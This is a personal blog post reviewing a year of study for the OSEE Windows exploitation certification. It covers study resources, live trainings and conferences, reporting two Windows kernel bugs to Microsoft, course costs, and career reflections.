*Prices/Dates are accurate to the date when they were added to the list, and are subject to change. Please check the actual links.*\
*Also, please check Offsec's actual list:* [*https://www.offsec.com/training-and-events/*](https://www.offsec.com/training-and-events/)
*If you know of an upcoming EXP-401 training, please tell me about it via tagging @jaelkoh in OffSec's Discord #exp-401-general channel , or tweet/X me* [*@\_jaelkoh*](https://twitter.com/_jaelkoh)*.*
***
*Thanks @s4brd for suggesting adding a price column and QA 2024, Defenseiox 2025.* \
*Thanks @mayh3m for noticing I got SINCON 2024 link+price wrong.*\
*Thanks @l3th4rgic for adding Black Hat MEA 2024.*
# My Second Year In InfoSec: OSEE, the Odyssey
In 2024, I took a second gap year to pursue the [OffSec Exploitation Expert](https://www.offsec.com/courses/exp-401/) (OSEE) certification. \
\
Over the next seven months, I spent [\~**1222**](#user-content-fn-1)[^1] hours studying full time, eventually acquiring the OSEE. Along the way, I attended six live trainings and five conferences. Additionally, I found and reported [two bugs in the Windows Kernel](#user-content-fn-2)[^2] to Microsoft, making the [2024 Q3 Leaderboard](https://msrc.microsoft.com/leaderboard). I also joined [PixiePoint Security](https://www.pixiepointsecurity.com/) as a Security Researcher. I think I may have had a [miracle year](https://www.dwarkeshpatel.com/p/annus-mirabilis).
This post builds directly off my [2023 year in review](https://infosec.jaelkoh.com/2024/my-first-year-in-infosec-zero-to-osce3). Once again, I've documented the resources I used to obtain the certification. I'll share the lessons learned, my experiences doing security research and going to conferences. I'll also try to answer whether the OSEE will help you find a job and why I changed my mind about going to college.
## Prelude
Below is a table of the study resources I used to build my initial foundation:
On my first time I completed about ~half of the course, but I didn't fully understand the course materials.
### Don't rush into decisions
It all began with a spur-of-the-moment decision. \
\
In August 2023, I thoughtlessly signed up for the [Advanced Windows Exploitation](#user-content-fn-3)[^3] live training (AWE) organized by SINCON. At the time, the AWE had not been offered in Singapore (my home country) for years, so seeing its return felt like a once-in-a-lifetime opportunity.\
\
At the time, I was preparing for the OSCE3 and had a 12 month gap before starting college. I estimated I'd complete the OSCE3 by early January 2024 , which left me with five months to prepare for the training and two months to pass the exam.
The extent of my thinking amounted to: "Since I took about three months per certification, seven months should be enough time for this harder certification. I mean, how hard could it be? I need something to do for the seven months after the OSCE3 anyways".
Having heard horror stories of the AWE live training selling out within 15 minutes of opening, I panicked and hurriedly convinced my parents to purchase the course. I had no knowledge of Windows exploitation, no idea what the OSEE covered, and no clue whether the OSEE was worth it.
Let me be clear - this was **objectively a terrible mistake**. Just because it worked out well for me in the end doesn't change the fact that I essentially signed my own death warrant.
### First Principles Thinking
Fast forward five months: I was now an OSCE3 holder. There was no time to celebrate though, as now I had to [pay the piper](https://www.collinsdictionary.com/dictionary/english/pay-the-piper#:~:text='crokinole'-,pay%20the%20piper%20in%20American%20English,lavish%20spending%20on%20his%20holiday). I realized early on that I couldn't approach the OSEE the same way I approached the OSCE3. \
\
Last year, I used a three step approach to acquire the OSCE3:
1. Read every resource and write a roadmap
2. Dive in to the course and patch learning gaps as you go
3. Do all the exercises, extra miles, and practice exams
These three steps exploited these three respective qualities of the OSCE3:
1. They were widely reviewed, so I could create a roadmap of what to study and prepare for
2. They had minimal prerequisites, so I could just dive in from zero and learn as I go
3. They were pre-recorded, so I could rewatch the course videos again if I got stuck
The OSEE is a different beast entirely:
As an apex certification, there were very few certificate holders, and thus even fewer reviews of the course. In addition, the course was updated in 2021 - narrowing the set of relevant reviews even smaller. The two best reviews were [Andres Roldan](https://x.com/andresroldan)'s [OSEE, an Unexpected Journey](https://fluidattacks.com/blog/osee-review/) (plus associated [webinar](https://youtu.be/aufVKi2eRVg?si=NOS_vYFU4eV163s8)\*[^4]) and [Paolo Stagano (VoidSec)](https://x.com/Void_Sec)'s [AWE live training review](https://voidsec.com/offsec-exp-401-advanced-windows-exploitation-awe-course-review/). It's no exaggeration to say that without these two reviews, I may not have become an OSEE holder as quickly as I did.
From reading the [OSEE Syllabus](https://www.offsec.com/awe/EXP401_syllabus.pdf), I could see there was a mountain of prerequisite knowledge I would need to learn. It looked closer to another language when I first read it. What in the world were [IRQL Levels](https://techcommunity.microsoft.com/blog/askperf/what-is-irql-and-why-is-it-important/372666)?[ ](https://connormcgarr.github.io/paging/) What is a [ PML4 EXB Bit](https://connormcgarr.github.io/paging/) - could I eat it? Does a [pWND\[0\].cbWndExtra](https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm) dream of robotic sheep?
The AWE was a five-day live training. I couldn't rewatch it if I got stuck - so it was paramount that I came prepared. If I fell behind in class, I would have to catch up by relying solely the textbook and slides - something I couldn't afford with my short timeline.
It was clear I needed a new approach. What got me here, would not get me there. I had a poor idea of what I needed to study for and I only had five months before the live training began.\
\
In these kinds of situations - I rely on first principles. Since OSEE focuses on Windows Exploit Development, I assumed the exam would require writing Windows exploits. The AWE syllabus covers exploiting a hypervisor, a browser and a kernel driver, so I could use my ability to do those things as reasonable proxy for my progress at preparing for the live training.\
\
Developing a roadmap for how to exploit a hypervisor/browser/kernel driver was much easier. Searching GitHub for sample exploits told me that I needed to learn
1. C/C++ to write hypervisor and kernel exploits
2. What bug classes exist
3. How to exploit the heap
4. What exploit mitigations exist and how to bypass them.
This list was far from perfect, but it was enough to get started.
### Beware Tutorial Hell
I started by watching some presentations to get a high-level understanding of Windows Usermode and Kernelmode Exploitation. I would take notes, then look into each part of the talk I didn't understand until I had a big-picture understanding of what each presentation was about.
After that, I took my first stab at learning C and C++. I started out with a video tutorial, which I quickly finished. However, I didn't feel "knowledgeable enough" after watching to move on, so I looked for another tutorial. I would then look at a windows kernel exploit on Github and ask myself, could I write that? Obviously I couldn't, so I felt like I had failed at "learning C" and needed more tutorials. Unknowingly, I had once again found myself stuck in [tutorial hell](https://www.reddit.com/r/ProgrammerHumor/comments/wd4wu0/tutorial_hell_is_real/).
I tried to escape by learning from books instead of videos. I searched far and wide for the "best book to learn C" - but I could never stick with each book because either it wasn't relevant enough for my needs (learning to write exploits) or that finishing the book would take months - time I did not have.
Eventually, I ended up abandoning my attempt to learn C and shifted my focus on understanding the various bug classes. I stumbled upon [OpenSecurityTraining2](https://p.ost2.fyi/)'s [Vulnerabilities 1001 course](https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Vulns1001_C-family+2023_v1/about), which delivered the content superbly but more importantly - **forced me to just dive in** to real C codebases and find real vulnerabilities. I cut my teeth staring at C code, and I came out of the course able to read and write C enough to carry on. Looking back, I have found no better way to learn something than by [doing the real thing](https://www.scotthyoung.com/blog/2020/05/04/do-the-real-thing/).
### Live Trainings
After the course, I looked for resources to learn Hypervisor Exploitation. I stumbled upon [Zero Day Engineering](https://zerodayengineering.com/) through their [Hypervisor Vulnerability Research](https://zerodayengineering.com/training/hypervisor-vulnerability-research.html) course[^5]. I ended up taking the Zero Day Engineering's [Zero Day Vulnerability Research](https://zerodayengineering.com/training/universal-vulnerability-research.html) course, which while not directly relevant to the OSEE, gave me a neat beginner-friendly overview of the art of Vulnerability Research.
My next topic was learning about Heap Exploitation - which proved to be a challenge. Most of the resources I found were either for Linux or older versions of Windows like Win 7/XP. The ones that were modern were too technical for me to understand. I briefly considered learning Linux Heap Exploitation and then trying to map it over into Windows myself, but I dismissed the idea as it would take too long.
The best resources I found were from [Peter Van Eeckhoutte](https://be.linkedin.com/in/petervaneeckhoutte)'s [Corelan.be](https://www.corelan.be/) blog, but since they were written for Windows 7/XP, I realized I would need to go to attend Peter's [Heap Exploitation Masterclass ](https://www.corelan-training.com/index.php/training/heap/)to learn comprehensively and efficiently.
## Eudaimonia
Below is a table of the Study Resources I used to prepare for the AWE live training:
| Study Resource | Review |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [Heap Overflow Exploitation on Windows 10 Explained](https://www.rapid7.com/blog/post/2019/06/12/heap-overflow-exploitation-on-windows-10-explained/) by Wei Chen | |
| [Understanding the Low Fragmentation Heap](https://youtu.be/511LOaj-QVs?si=UW8TJdWG5KBeSepe) by [Chris Valesek](https://twitter.com/nudehaberdasher) |
This is a fantastic resource but it was too technical for me at the time an largely flew over my head
|
| [How To Take Better Lecture Notes \| LBCC Study Skills](https://youtu.be/Bvsf591rYWE?si=CD___BjNkTSQV-1_) | I watched this in preparation for the Corelan HEAP Masterclass. Very helpful. |
| [Corelan HEAP Exploit Development Masterclass](https://www.corelan-training.com/index.php/training/heap/) |
This was one of the best courses I've taken. My experience was so positive that I realized in-person courses could short-circuit the learning process and enable me to prepare for the AWE in time.
|
| Corelan HEAP Exploit Development Masterclass exercises | |
| OST2 [Exploitation 4011: Windows Kernel Exploitation: Race Condition + UAF in KTM](https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Exp4011_Windows_Kernel_UAF_KTM+2023_v1/about) by Cedric Halbronn |
I decided to go through the course again, and this time I understood much more. The course is absolutely stellar and gave me the confidence to do independent security research.
|
| [A Deep Dive Into Two (Windows) Exploits Demonstrated At Pwn2Own](https://youtu.be/d0I-UOQHCVs?si=ZgWZzwYjYUnDxUMO) by [Thomas Imbert](https://fr.linkedin.com/in/thomas-imbert/en) | |
| OT2 [Architecture 2001: X86-64 OS internals](https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch2001_x86-64_OS_Internals+2021_v1/about) by Xeno Kovah |
I decided to revisit this course again to prepare for the Windows Internals For Security Engineers training.
This time, I could understand the course much better.
|
| [The Researcher's Toolbox](https://www.youtube.com/watch?v=qqVmUNSmjUg) by Yarden Shafir | |
| [Windows Device Drivers Internals and some Reversing](https://www.youtube.com/live/7Trgnw7HkeE?si=WrvYy7Q3QfbwkvBy) by [Pavel Yosifovich](https://scorpiosoftware.net/) and Off By One Security | |
| [Diving into Windows Remote Access Service for Pre-Auth Bugs](https://youtu.be/GjPWCEEna3Q?si=7Rz8-BAIlgoJ_jOP) by [Yuki Chen](https://x.com/guhe120?lang=en) | |
| [Finding The Base of the Windows Kernel](https://wumb0.in/finding-the-base-of-the-windows-kernel.html) by wumb0 | |
| [Windows 10 KVAS and Software SMEP](https://wumb0.in/windows-10-kvas-and-software-smep.html) by wumb0 | |
| [Turning the Pages: Introduction to Memory Paging on Windows 10 x64](https://connormcgarr.github.io/paging/) by Connor McGarr | |
| [The Segmented Memory Model and How It Works in Windows x64](https://antonioparata.blogspot.com/2023/01/the-segment-memory-model-and-how-it.html) by Antonio "s4tan" Parata | |
| [Windows Internals for Security Engineers ](https://www.offensivecon.org/trainings/2024/windows-internals-for-security-engineers.html)by Yarden Shafir |
Another great course.
I loved how Yarden covers the major components of Windows by sharing stories about why Microsoft made certain design decisions. She also taught me how to use dxcommands in WinDBG which are helpful.
|
### How I approach Live Trainings
It wasn't the first time hearing of the Corelan Heap Exploitation Masterclass. SINCON was also offering it in March the same year. However, as learning Heap Exploitation is a prerequisite to learning Hypervisors and Browser exploitation, I needed to take it as soon as possible. Checking the [corelan training schedule](https://www.corelan-training.com/index.php/training-schedules/) I found that Peter was teaching a class one month earlier - in Sydney.
As such, despite being a homebody who hadn't left my country in over half a decade, I prepared to travel to Sydney alone for the first time. \
\
I was anxious whether I would be able to keep pace with the in-person course. In my experience doing pre-recorded courses from OffSec and OpenSecurityTraining2, I would often rewind sections of each video multiple times because I missed something. I also frequently paused the video to take notes.\
\
I wouldn't be able to do either in a live setting - so I knew I had to work on my approach. I found this lecture about [How To Take Better Lecture Notes](https://youtu.be/Bvsf591rYWE?si=tLh4ZREkVY_wlHbe) very practical and useful.
VoidSec ( see his review on the Corelan Heap Masterclasshere) also generously shared how he took notes for the Masterclass, which I found very insightful.
Based on the lecture, I developed a three step approached that worked well, and I've used it in every live training I've attended since.
1. Before the training, try to read as much information about the topic as possible.
By reading a few Heap Exploitation blogposts before the Corelan Training, I familiarized myself with the core concepts, terminology and methodologies - reducing the chances I fell behind. This also allowed me to identify parts of the subject I had trouble understanding, which I could then bring as questions to Peter during the training.
2. During the training: Process the information, Summarize with Abbreviations, Develop a Question.
During the training, I directed my attention almost entirely on Peter, instead of the slides on the wall. \
I kept a list of abbreviations at the beginning of my notes. ( HM for Heap Manager, LFH for Low Fragmentation Heap, BEA for Back End Allocator) After each sentence, I would try to summarize each line Peter spoke using my abbreviations, write a few short bullet points in my notes. I did not mind if there were spelling mistakes.
At the same time, I would constantly try to engage with the material by developing questions. Some examples of ways I engaged include creating metaphors for the concepts being shared, trying to come up with ways to improve an exploit technique/bypass a mitigation that was taught. I would then write these "candidate questions" in italics besides the bullet points in my notes.\
\
If the question was important for me to understand the information being spoken currently, I would immediately raise my hand and ask it. An example of this would be clarifying the meaning of a specific term or resolving a contradiction between what was being said and my internal mental models.
If the question was an extension or example of what's currently being spoken, I would use my own discretion to decide between asking now and asking later when Peter was done with the topic. Examples of this would be like "Instead of doing X, could I do Y instead? Would it be better/worse and why?" or "Just to confirm, if for example there was an A, and we did B, C would happen?.
Initially, I was afraid of using this approach as I felt it was going to be disruptive to my classmates and disrespectful to the instructor. After all, that had been my experience within the traditional educational system - being [the nail that sticks out and getting hammered down](https://en.wiktionary.org/wiki/the_nail_that_sticks_out_gets_hammered_down). I decided to employ the strategy because I was desperate to obtain the OSEE, and that it was [better to ask for forgiveness than permission](https://en.wiktionary.org/wiki/it%27s_better_to_ask_forgiveness_than_permission).
To my surprise, I was **entirely wrong**. Peter - and every instructor I've met since - patiently answered all my questions and even welcomed them eagerly. Instead of criticizing me, my classmates praised me for asking questions, as they gave them the chance to learn new insights from the instructor's answers.
If you're attending a live training and have a question - please don't be afraid to ask. There are no such things as "stupid questions" - asking questions allowed Peter to correct any misunderstandings I had about the topic, deepened my knowledge of the subject and gave me ideas to research when I got back.
3. After the training: I would practice applying the knowledge as much as I could.
After the course, I spent the entirety of the next month completing the first seven homework exercises from the Heap Masterclass. This was incredibly challenging and rewarding - it got me extremely comfortable with Heap Exploitation.
At the end of the month, I was confident I was ready for the Usermode half of the AWE live training. With a few months remaining, I set my sights on the final half: Kernelmode.
*As an aside, my experience in Sydney was a showstopper. The food was top-notch, the training venue (PwC Australia) had a gorgeous view of the Sydney Harbor - and the facilities are excellent. If you're interested, Peter is offering the*[ *very same training this year in Sydney as well*](https://events.humanitix.com/corelan-stack-based-exploit-development-heap-exploitation-masterclass) *(as well as other locations ) - I can't recommend it enough if you're trying to learn Windows Heap Exploitation.*
### Going to Conferences
Since taking an in-person course to study Heap Exploitation worked so well, it made sense to try the same approach towards studying Kernelmode Exploitation. I looked around for live trainings on offer and found Yarden Shafir's Windows Internals for Security Engineers at OffensiveCon.
My previous exposure to Yarden was from her OffensiveCon talk which I really enjoyed. The course material seemed very relevant to AWE syllabus, so I decided to go for it. While I was there, I also purchased an OffensiveCon ticket reserved for students, since I thought it might be a fun experience.
I employed the same approach towards Yarden's class as I did with Peter's class and it paid off. After the class, I opted to revisit Cedric's Exploitation 4011 course again to practice Kernelmode Exploitation instead of the assigned homework exercises as they were about using the [Debugger Data Model](https://medium.com/@yardenshafir2/windbg-the-fun-way-part-1-2e4978791f9b) and not as relevant to Kernel Exploitation. While doing the Exploitation 4011 course, I made an effort to use `dx`commands whenever I could to practice, as well as try to apply the information I learned from Yarden's class into Cedric's class.\
\
*By the way, Cedric was also teaching the Exploitation 4011 course live at OffensiveCon that year as "Windows Exploit Engineering Foundation". If I could , I would have attended both courses live. I think that there is **enormous** value in attending classes in person even if the full course is online. The most important benefit is the ability to ask questions. I have no doubt that I would be able to learn the materials much faster if I was able to ask Cedric questions in-person and then use the*[ *OST2 course as a refresher after the live training.* ](#user-content-fn-6)[^6]
*On a side note, my experience at OffensiveCon was also incredibly positive. The training and conference were organized really well. I especially liked the size of the conference room as it was perfect - small enough to meet new people but large enough to have your own space. I was incredibly lucky to have made friends with great people. If you're thinking of whether to go to* [*OffensiveCon 2025* ](https://www.offensivecon.org/)*- I can't recommend it enough.*
### Prioritize Sleep
It wasn't long before it was finally time for the AWE Live Training. Nearly half a year of preparation led me to a single class, and it did not disappoint. Even with all my training and prior preparation, I still learned so much from the class. Morten and Sickness are experts in the topic, and the AWE live training is a marvel - insanely comprehensive, cutting-edge research that's been neatly packaged and masterfully written.
The course covered every mitigation used in modern Windows as well as those yet to be widely adopted, and taught me how to bypass all of them. Morten and Sickness generously shared their experiences and methodology behind how they reverse engineered each target, found the vulnerability and developed an exploit.
As each day went by, the content taught got more and more complex. It was taking my full attention to not fall behind. Somehow, I seemed to have survived the first four days - but the last day was going to be the hardest. There was only one problem - I wasn't going to get a good night's sleep.
The training awarded challenge coins and stickers for students who completed each chapter's Extra Miles before the end of the last day. These swag have zero use and are merely souvenirs for students who want to go for it.
Personally, these Extra Miles ranged from *doable* ( sticker ) to *difficult* ( first coin ) to *definitely-didn't-stay-up-all-night-and-fail-only-to-spend-the-entire-class-solving-it-instead-of-listening-to-the-instructor.* ( second coin ) to *didn't-even-bother-attempting.* ( secret reward )
I asked a fellow student whether he would be gunning for a challenge coin. He said that he would rather prioritize sleep and that these coins would end up collecting dust in a closet somewhere. He was 100% right. \
\
My coins are collecting dust as I type, serving as a physical reminder of the opportunity I squandered to learn the last and arguably most difficult chapter from the instructors. \
\
After the course, this mistake compounded to a boatload of stress for me. Due to some sudden time constraints, I ended up having to hurry through the last chapter. Honestly, I didn't get a good understanding of the topic. To add insult to injury, I didn't have time to do the final extra mile, which haunts me to this very day. [That's life in the big city.](https://speakola.com/ideas/charlie-munger-human-misjudgement-harvard-1995)
I'm a competitive person. When I set my sights on something, I work very hard to get it even if it seems impossible. This trait has served me well but if I'm not prudent about the goals I choose, I can end up making critical mistakes.
## Blitz
In the 53 days between 6 June and 29 July, I obtained the OSEE, found and reported two bugs in the Windows Kernel to MSRC, and joined PixiePoint Security. It was one of the busiest periods in my life.
{% stepper %}
{% step %}
### 6 June
Completed VMware Guest To Host Escape Chapter and Extra Mile
{% endstep %}
{% step %}
### 14 June
Completed Microsoft Edge Type Confusion Chapter and Extra Miles
{% endstep %}
{% step %}
### 24 June
Reported [CVE 2024-43570](https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-43570) to MSRC
{% endstep %}
{% step %}
### 7 July
Reported [CVE-2024-43535](https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-43535) to MSRC
{% endstep %}
{% step %}
### 13 July
Completed Driver Callback Overwrite Chapter and Extra Miles
{% endstep %}
{% step %}
### 16 July
Completed Unsanitized Usermode Callback Chapter and [Extra Mile ](#user-content-fn-7)[^7]
{% endstep %}
{% step %}
### 18 July
Started OSEE Exam
{% endstep %}
{% step %}
### 20 July (12pm)
Finished OSEE Exam
{% endstep %}
{% step %}
### 21 July (12am)
Hacksys Kernel Exploitation Foundation & Advanced
{% endstep %}
{% step %}
### 29 July
Joined PixiePoint Security
{% endstep %}
{% endstepper %}
### Security Research
At this point, I had covered the first half of the OSEE's syllabus, and I was feeling burned out. I'm not exactly sure why, but I ended up putting off the second half of the syllabus to reverse engineer a curious part of the Windows Kernel I had some unanswered questions about. \
\
I wanted to try applying the reverse engineering approach Morten shared that he used to find the bugs in the course, and I wanted a break from the grindy, goal-oriented work of studying the textbook to try my hand at something pointless.
I found it exhilarating uncovering esoteric knowledge about a specific part of Windows that seemed completely overlooked - and I dug myself deeper and deeper into the rabbit hole as I started suspecting there might actually be a vulnerability in the code.
I ended up finding nine "bug candidates" in the specific component - but when I looked into them I realized they weren't actual bugs because of one reason or another. As the nights grew longer and I realized how much time I was spending, I became increasingly dejected and desperate, obsessing longer and harder about the component.
After another long night in the office, another bug candidate came into my head. I was halfway about to dismiss it, but decided to bring my laptop home and test it out. I still remember my heart beating wildly as I set up the conditions to trigger the bug within the kernel debugger. I pressed 'g' to continue execution - and it caused a [BSOD](https://en.wikipedia.org/wiki/Blue_screen_of_death). I leapt in the air in joy and shouted in the middle of the night "I FOUND A BUG!" before [racing into my parents bedroom.](#user-content-fn-8)[^8] I had just found a zero day in Windows.
I decided to report the bug to Microsoft, and began writing a report. This was my first time doing something like this, so I looked at one of j00ru's reports on the [Project Zero bugtracker](https://project-zero.issues.chromium.org/issues) as a template and filled in the details.
After finding the first bug, I was ready to call it quits. However, I hadn't fully audited the component, and at the advice of a friend, I decided to finish the audit. I'm so glad I did, as I found another bug shortly after.
In the end, Microsoft awarded me a bounty of USD$2000 for each of the bugs I found: [CVE 2024-43570](https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-43570) and [CVE-2024-43535](https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-43535). \
\
For CVE-2024-43535, I was initially told that since I was using a "strict 90-day disclosure policy", and that I was "going to publish an advisory whether or not a fix is available" it meant that my submission was not eligible for an award.
MSRC was right. I should have read the Microsoft Bug Bounty terms more carefully. However, I requested them to reevaluate my bounty eligibility because I did *technically* extend the disclosure policy by 14 days when my Case Reviewer asked me for an extension.
The bounty team did reevaluate my case and eventually awarded me a USD$2000 for reporting the bug, which was nice of them. In the end, I didn't [publish an advisory](#user-content-fn-9)[^9] after the disclosure period so I kind of shot myself in the foot for no reason.
### Nice and Lucky
In June 2024, I attended the inaugural [Off By One conference ](https://offbyone.sg/)organized by [STAR Labs](https://starlabs.sg/). Some of my AWE classmates would be there, and I was looking forward to catching up with them.
By a fortunate stroke of serendipity, this led to a series of events that eventually culminated in me being employed at PixiePoint.
In my eyes, being **nice and lucky** matters far more than any certificate or training I've earned.
I'm not some super socially adept person. I cringe looking back at the social faux pas I've made, and I have made **a lot** of them - but I don't need to be one. What really matters is the [**inverse**](https://fs.blog/inversion/) - just don't be "[f\*\*\* that guy](https://youtu.be/jZFuCYyQB6c?si=GLcuKQUVSoMal7AJ\&t=1270)". Of course, I try to be friendly, I try to see situations as charitably as possible, I try to be positive.\*[^10] But what really matters is avoiding catastrophic mistakes - I try to avoid burning bridges as much as possible, I try to cultivate a positive reputation and I try to make things right when I mess up.\*[^11] I'll be the first one to admit that I've not been very good at it - and I'm doing my best to improve.
I am a beneficiary of undeserved good fortune. I've been enormously privileged to be born in a great country with supportive parents. I was lucky to find the two bugs and I was incredibly lucky for the events that occurred that led me to be employed at PixiePoint. The former was completely out of my control, but the latter was only possible because I increased my [surface area of serendipity](https://perell.com/essay/serendipity/). I think security conferences are a great way to increase the % chance that something positive happens to you - like a new friend, a job opportunity or a research idea.
Personally, I don't go to conferences hoping to get something out of it - I go to conferences because it's incredibly refreshing to talk to like-minded people. It's a rare chance for me to step back from work and enjoy awesome food. It's also an opportunity for me to help others.
#### OSEE
The OSEE exam was easier than I expected. It was still challenging, but I was quite comfortable with exploit development and reverse engineering at this point. Ironically, the main challenge was actually after it. In April, out of an abundance of caution, I signed up for the [Hacksys Kernel Exploitation Foundation & Advanced](https://hacksys.io/trainings/windows-kernel-exploitation-foundation-advanced) organized by [ringzer0](https://ringzer0.training/).
I made the call to get the OSEE before I got employed[^12], which unfortunately meant I had to schedule my exam 12 hours before the training. After the exam, I was quite exhausted and completely unprepared for the training which started at midnight. In the end, I was only able to attend the first two days before it started to take a toll on me - and I decided not to attend the last two days. Thankfully, [Ashfaq Ansari](https://x.com/hacksysteam?lang=en), the instructor, provided recordings for the class to students, so I didn't miss out.
*Note: I'm unable to review the course because I haven't completed it - I have not watched the last two days recordings. It would be unfair for me to prematurely judge the course. The ringzer0 crew was fantastic - they went above and beyond to make sure the virtual training went as smoothly as possible. They also honored a USD$200 discount on the course due to a mistake on their website.*
After the OSEE, I attended the inaugural [SGHack](https://sghack.org/) conference, which was another great offensive security-focused conference in Singapore. The conference has a WhiskeyCon segment in the evening where attendees can drink a shot for five minutes of speaking time. I gave a lightning talk sharing the statistics from my journey thus far. As I'm a [teetotal](https://en.wikipedia.org/wiki/Teetotalism), I'd like to give thanks to the person who drank in my place.
I'm quite happy that the offensive security scene in Singapore has grown so much - two inaugural conferences in one year. I hope this growth continues in the years to come. STAR Labs has already announced [Off By One Conference 2025](https://offbyone.sg/), and I'll do my best to be there.
Lastly, in November I attended [Satoshi Tanda'](https://x.com/standa_t)s [Hypervisor Development for Security Engineers](https://tandasat.github.io/Hypervisor_Development_for_Security_Researchers.html) course. This was organized by [Hexacon](https://www.hexacon.fr/), and I enjoyed the training and conference. You can find my review of the course [here](https://www.linkedin.com/posts/jaelkoh_in-october-i-attended-satoshi-tandas-hypervisor-activity-7273598436350803968-KRue?utm_source=share\&utm_medium=member_desktop).
*I had an unforgettable time in Paris. The food was sublime and the* [*venue* ](https://www.palaisbrongniart.com/en)*was beautiful. I enjoyed the conference talks and had a wonderful time meeting and making friends.*
## Coda
### Prices
Here are the prices for each course and conference I attended this year:
| Course/Conference | Price (SGD) |
| --------------------------------------------------------- | ----------------------- |
| Zero Day Engineering Vulnerability Research | $2286 (discounted[^13]) |
| OST2 Architecture 1001 | FREE |
| OST2 Architecture 1002 | FREE |
| OST2 Debuggers 1011 | FREE |
| OST2 Debuggers 2011 | FREE |
| OST2 Architecture 2001 | FREE |
| OST2 Vulns 1001 | FREE |
| OST2 Vulns 1002 | FREE |
| OST2 Debuggers 3011 | FREE |
| Corelan Heap Exploitation Masterclass | $3700 |
| Windows Internals For Security Engineers | $6200 |
| OffensiveCon Ticket | $2200 |
| SINCON Ticket | FREE[^14] |
| OST2 Exploitation 4011 | FREE |
| Advanced Windows Exploitation | $16329 |
| Hacksys Windows Kernel Exploitation Foundation & Advanced | $5170 (discounted[^15]) |
| Off By One Conference Ticket | $490.50 |
| SGHack Ticket | $600 |
| Hypervisor Development for Security Analysis | $6154 |
| HEXACON Ticket | $1679 |
| Total: | $44808.50[^16] |
*Note: this table does not include costs such as flight tickets, hotels, living expenses, etc.; the total costs are considerably higher.* \
\
Please don' t misinterpret the meaning of this table.\
\
I'm sharing this table because I think it's important to be transparent about the costs of this journey, and because it's information I wished I knew before thoughtlessly signing up for the AWE live training. \
\
My circumstances were extremely unusual - I was committed to taking the AWE live training in May, and I was searching desperately for any way to prepare myself. In-person courses fulfilled that purpose for me, letting me rapidly bridge the gap between the OSCE3 and OSEE. As there was no precedent for what I was doing, I erred on the side of overspending and ended up buying more courses than what I ended up needing for the OSEE.
I'm fully aware that I'm in an extremely privileged position to have parents who financially supported me through these trainings and I'm very grateful for that.
I am **NOT** implying that trainings and conferences are overpriced. They are **NOT**. Having spoken to instructors and conference organizers, I know just how expensive it is to organize such events, how much effort it is to teach a class and how small of a cut an instructor gets. \
\
I am **NOT** implying that someone needs to take all of these courses to get the OSEE. They do **NOT**. They are plenty of free resources out there - such as one of my favorites: OST2 Exploitation 4011. I'm wholly certain that it's possible to get the OSEE with only the AWE and free resources. \
\
However, I also don't think that we should dismiss trainings entirely - if you need help learning a particular topic, and you want to learn it as fast as possible - I believe there is no harm trying to convince your company to sponsor a course.
### Questions
#### Will the OSEE help me find a job?
At the start of the year, I asked this question in the [OffSec discord](https://discord.com/invite/offsec). Unfortunately, I didn't [get an answer](#user-content-fn-17)[^17]. Now that I'm an OSEE holder and I'm employed, I think I have some responsibility to pay it forward so at the risk of being wrong I'll try to [perilously give advice](https://grahamhelton.com/blog/certificationindustrialcomplex/#the-perils-of-general-advice). \
\
First, "Will the OSEE help me find a job?" is a *terrible* question - lots of things can help you find a job. Being friendly, going to conferences, writing blogposts, graduating from university are all things that can help you find a job.
The **real** question I was asking was "Is the OSEE alone **enough** to get me a job?" and I can say the answer is "very likely no". Let me explain.
The OSEE is an apex windows reverse engineering and exploit development certification. In my opinion, the industry with the most demand for these skills is the [Vulnerability Research/Exploit Development (VR/expdev) industry.](#user-content-fn-18)[^18]\
\
One might think that most vulnerability researchers would have this certificate. However, having met [tens of vulnerability researchers in person, ](#user-content-fn-19)[^19]and as a (recently hired) vulnerability researcher; I have not met a[ single researcher with an OSEE](#user-content-fn-20)[^20].
Don't get me wrong - I'm not saying the OSEE is a bad course. In fact, it's one of the best courses I've taken. Rather, I'm saying it's a great way to get to the **prerequisite knowledge** to be a researcher, but it **alone is not enough** to get a job in the VR/expdev industry - you'll need to find actual bugs and write actual exploits. It's **definitely** **not** the only way to learn this prerequisite knowledge. In fact, it's a very uncommon way.
The last thing I want to do is peddle a myth that the OSEE guarantees a job in the VR/expdev industry. Make no mistake - it does not. I think it's important for me to say this, because **I thought it did**!
I'm not trying to gatekeep the OSEE or the VR/expdev industry - I think both are great, and I wish people working towards them the best of luck. However, it's important to realize I got extremely lucky this year. The most likely outcome for this year was me having to take **another** gap year and put in even more work and even then, I might still not have been able to break into the industry.
#### Why am I no longer going to college?
Now that I'm employed, going to college has a higher [opportunity cost](https://en.wikipedia.org/wiki/Opportunity_cost). Each year I spend in college is a year's worth of salary and career experience I'm foregoing. ( the cost is even higher when factoring in tuition fees and the time value of money )\
\
Let me be clear - I'm **NOT** saying that college is useless. There are sizable benefits to going to college for me, such as being able to get a work visa for some countries. I'll probably have to get a bachelor's degree in the future, but I'm not planning on getting one right now.
### Reflections
A lot has happened in the two years since I started this journey. Between 3000 hours of studying, four countries and 50,000 dollars, my life has changed so much sometimes I don't believe it's real.
Looking back, most of my memories share a constant feeling of *being out of time.* Despite having every day to myself, I was always chasing the next certificate. If there was another certificate more difficult than the OSEE, would I still be chasing after it?\
\
These days, I don't think about certificates any more. They have definitely changed my life by giving me the skills that formed the basis to what led to a career in the security research industry.
